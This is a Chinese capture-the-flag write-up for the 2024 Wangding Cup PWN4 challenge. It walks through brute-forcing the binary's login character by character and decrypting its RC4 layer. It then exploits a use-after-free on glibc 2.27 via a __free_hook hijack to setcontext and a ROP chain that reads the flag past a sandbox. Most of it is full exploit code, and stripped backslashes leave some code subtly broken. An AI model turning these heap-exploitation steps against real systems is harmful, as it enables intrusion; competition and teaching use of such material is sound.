代码审计,发现有一个用户名和密码的验证
发现他是在本地去读取的,所以我们需要爆破用户名和密码,然后我们进入判断函数,发现他是一个一个字符判断的,如果发现字符不一样,我们可以由此当判断依据,爆破用户名
爆破脚本
username=''
chars=[' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
#chars=['[', '\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~']
for char in chars:
try:
pay = username+char
sla('Input your username:n', pay+'x00')
res = p.recvuntil(('Invalid username length!', 'Username correct!'), timeout=1)
if 'Invalid username length!' in res:
info('正确的字符:' + char)
username+=char
break
elif 'Username correct!' in res:
print('正确的username:' + username)
except:
pass
同理password也是一样的原理
爆破脚本
password=''
chars=[' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
#chars=['[', '\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~']
for char in chars:
try:
pay = password+char
p.sendlineafter(b'ur username:', "4dm1n")
p.sendlineafter('password:', pay+'x00')
res = p.recvuntil('Invalid password length!', timeout=1)
if 'Invalid password length!' in res:
info('正确的字符:' + char)
password+=char
break
elif 'Password correct!' in res:
print('正确的username:' + password)
except:
pass
后边就是一个菜单题了,我们继续看
我们进入第一个函数,发现是一个添加堆块的函数,限制了只能申请0xf个堆块,大小要小于0x300,但是他会对我们输入的数据进行加密
我们进入加密函数,发现是一个 RC4 算法(ai告诉我的),我们直接用ai给我什么解密脚本,发现的加密算法就是解密算法
解密算法
def ksa(key):
state = list(range(256))
j = 0
for i in range(256):
j = (j + state[i] + ord(key[i % len(key)])) % 256
state[i], state[j] = state[j], state[i]
return state
def prga(state, length):
i = j = 0
keystream = []
for _ in range(length):
i = (i + 1) % 256
j = (j + state[i]) % 256
state[i], state[j] = state[j], state[i]
t = (state[i] + state[j]) % 256
keystream.append(state[t])
return keystream
def rc4_decrypt(key, ciphertext):
state = ksa(key)
keystream = prga(state, len(ciphertext))
plaintext = []
for c, k in zip(ciphertext, keystream):
plaintext.append(chr(ord(c) ^ k))
return ''.join(plaintext)
进入第二函数,是一个打印函数,但是会给我打印出来的东西进行加密
第三个函数,是一个free函数,存在uaf漏洞,会对我们free的内容进行加密
第四个函数edit函数,同样会机密我们的内容
并且还开了沙箱,但是libc是2.27,所以我们直接用setcontext+53进行orw的编写
利用思路:
1、首先通过申请7个堆块,填满teacher bin,然后在申请一个,free掉进入unsortbin,泄露libc
2、,然后就通过uaf劫持free_hook为setcontext+53,进行orw的编写
首先我们泄露libc,由于我们打印的数据是加密的,所以我们要接受所有的数据进行解密,然后拿到libc的地址,然后我们在通过之前的free掉的堆块泄露,heap的地址
for i in range(8):
add(i,0x100,rc4_decrypt(key,'Halo'))
add(8,0x270,rc4_decrypt(key,'Halo2'))
for i in range(8):
delete(i)
show(7)
ru('[7,')
libc.address=u64(rc4_decrypt(key,ru(']')[:-1])[0:7].ljust(8,'x00'))-0x3ebca0
lg('libc.address')
ru('[2,')
heap=u64(rc4_decrypt(key,p.recvuntil(b']')[:-1])[0:7].ljust(8,b'x00'))-0x1720-0x60
lg('heap')
劫持free_hook为setcontext+53,由于我们之前就free掉了很多堆块,我们直接找到6个堆块改为free_hook,就可劫持了
edit(6,rc4_decrypt(key,p64(libc.sym['__free_hook'])))
add(1,0x100,rc4_decrypt(key,'aaa'))
add(1,0x100,rc4_decrypt(key,p64(setcontext)))
最后就可以编写我们orw了,我们这里可以用pwntools提供的frame结构体来控制相应的结构体
pop_rdi=0x000000000002164f+libc.address #: pop rdi ; ret
pop_rsi=0x0000000000023a6a + libc.address#: pop rsi ; ret
pop_rdx=0x0000000000001b96 +libc.address#: pop rdx ; ret
open=libc.sym['open']
read=libc.sym['read']
puts=libc.sym['puts']
setcontext=libc.sym['setcontext']+53
orw_addr=heap+0x2170
frame=SigreturnFrame()
frame.rsp=orw_addr
frame.rip=libc.sym['open']
frame.rdi=orw_addr+0x50
frame.rsi=0
orw=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(orw_addr+0x100)+p64(pop_rdx)+p64(0x100)+p64(read)
orw+=p64(pop_rdi)+p64(orw_addr+0x100)+p64(puts)+'./flagx00x00'
由于我们劫持的rsp为orw的地址,但是当他push rcx的时候会将rsp-0x8地方修改,所以我们没法将"./flagx00x00"写在开头
而且还有一个问题就是,当我想在填两个pop rdi进行隔开的时候,就会没法将我们需要的内容填写完整,我猜测他的加密应该是有对齐吧(如有大神知道可以教教我)
frame=SigreturnFrame()
frame.rsp=orw_addr+0x10
frame.rip=libc.sym['open']
frame.rdi=orw_addr
frame.rsi=0
orw='./flagx00x00'
orw+=p64(pop_rdi)*2+p64(3)+p64(pop_rsi)+p64(orw_addr+0x100)+p64(pop_rdx)+p64(0x100)+p64(read)
orw+=p64(pop_rdi)+p64(orw_addr+0x100)+p64(puts)
完整exp
#coding:utf-8
from pwn import *
elf = ELF("./pwn")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
libc = ELF('./libc.so.6')
flag=1
url=''
port=0
if flag:
p = process(elf.path)
else:
p = remote(url,port)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
it = lambda : p.interactive()
uu32 = lambda : u32(p.recvuntil('xff')[-4:].ljust(4,'x00'))
uu64 = lambda : u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('x1b[01;38;5;214m %s --> 0x%x 33[0m' % (s, eval(s)))
#可见字符范围(ASCII可见字符)
#visible_chars = [chr(i) for i in range(32, 127)] # 从空格到波浪号
#print visible_chars
#username='4dm1n'
#chars=[' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
#chars=['[', '\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~']
# for char in chars:
# try:
# pay = username+char
# sla('Input your username:n', pay+'x00')
# res = p.recvuntil(('Invalid username length!', 'Username correct!'), timeout=1)
# if 'Invalid username length!' in res:
# info('正确的字符:' + char)
# username+=char
# break
# elif 'Username correct!' in res:
# print('正确的username:' + username)
# except:
# pass
# info('username:' + username)
# p.sendlineafter(b'username:', "4dm1n")
# password=''
# for char in chars:
# try:
# pay = password+char
# p.sendlineafter(b'Input your username:', "4dm1n")
# p.sendlineafter('Input your password:', pay+'x00')
# res = p.recvuntil('Invalid password length!', timeout=1)
# if 'Invalid password length!' in res:
# info('正确的字符:' + char)
# password+=char
# break
# elif 'Password correct!' in res:
# print('正确的username:' + password)
# except:
# pass
# sla('Input your username:','4'+'x00')
# res=p.recvuntil('Invalid username length!',timeout=1)
# info(res)
# username=Blasting()
sla('Input your username:', '4dm1n')
sla('Input your password:','985da4f8cb37zkj')
def cmd(cmd):
sla('>',str(cmd))
def add(key,size,msg):
cmd(1)
sla('Input the key:',str(key))
sla('value size:',str(size))
sla('the value: n',msg)
def show(key):
cmd(2)
sla('Input the key:', str(key))
def delete(key):
cmd(3)
sla('Input the key:', str(key))
def edit(key,msg):
cmd(4)
sla('Input the key:', str(key))
sla('the value: n', msg)
def ksa(key):
state = list(range(256))
j = 0
for i in range(256):
j = (j + state[i] + ord(key[i % len(key)])) % 256
state[i], state[j] = state[j], state[i]
return state
def prga(state, length):
i = j = 0
keystream = []
for _ in range(length):
i = (i + 1) % 256
j = (j + state[i]) % 256
state[i], state[j] = state[j], state[i]
t = (state[i] + state[j]) % 256
keystream.append(state[t])
return keystream
def rc4_decrypt(key, ciphertext):
state = ksa(key)
keystream = prga(state, len(ciphertext))
plaintext = []
for c, k in zip(ciphertext, keystream):
plaintext.append(chr(ord(c) ^ k))
return ''.join(plaintext)
key='s4cur1ty_p4ssw0rd'
data=rc4_decrypt(key,'aaaa')
print data
for i in range(8):
add(i,0x100,rc4_decrypt(key,'Halo'))
add(8,0x270,rc4_decrypt(key,'Halo2'))
for i in range(8):
delete(i)
show(7)
ru('[7,')
libc.address=u64(rc4_decrypt(key,ru(']')[:-1])[0:7].ljust(8,'x00'))-0x3ebca0
lg('libc.address')
show(2)
ru('[2,')
heap=u64(rc4_decrypt(key,p.recvuntil(b']')[:-1])[0:7].ljust(8,b'x00'))-0x1720-0x60
lg('heap')
pop_rdi=0x000000000002164f+libc.address #: pop rdi ; ret
pop_rsi=0x0000000000023a6a + libc.address#: pop rsi ; ret
pop_rdx=0x0000000000001b96 +libc.address#: pop rdx ; ret
open=libc.sym['open']
read=libc.sym['read']
puts=libc.sym['puts']
setcontext=libc.sym['setcontext']+53
orw_addr=heap+0x2170
frame=SigreturnFrame()
frame.rsp=orw_addr
frame.rip=libc.sym['open']
frame.rdi=orw_addr+0x50
frame.rsi=0
orw=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(orw_addr+0x100)+p64(pop_rdx)+p64(0x100)+p64(read)
orw+=p64(pop_rdi)+p64(orw_addr+0x100)+p64(puts)+'./flagx00x00'
add(10,0x150,rc4_decrypt(key,'aaa'))
edit(6,rc4_decrypt(key,p64(libc.sym['__free_hook'])))
add(1,0x100,rc4_decrypt(key,'aaa'))
add(1,0x100,rc4_decrypt(key,p64(setcontext)))
# gdb.attach(p, "b __libc_freenc")
# pause()
edit(10,rc4_decrypt(key,orw))
edit(8,str(frame))
delete(8)
it()
原文始发于微信公众号(Undefin3d安全团队):2024网鼎杯青龙组初赛---PWN4(仅供参考)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论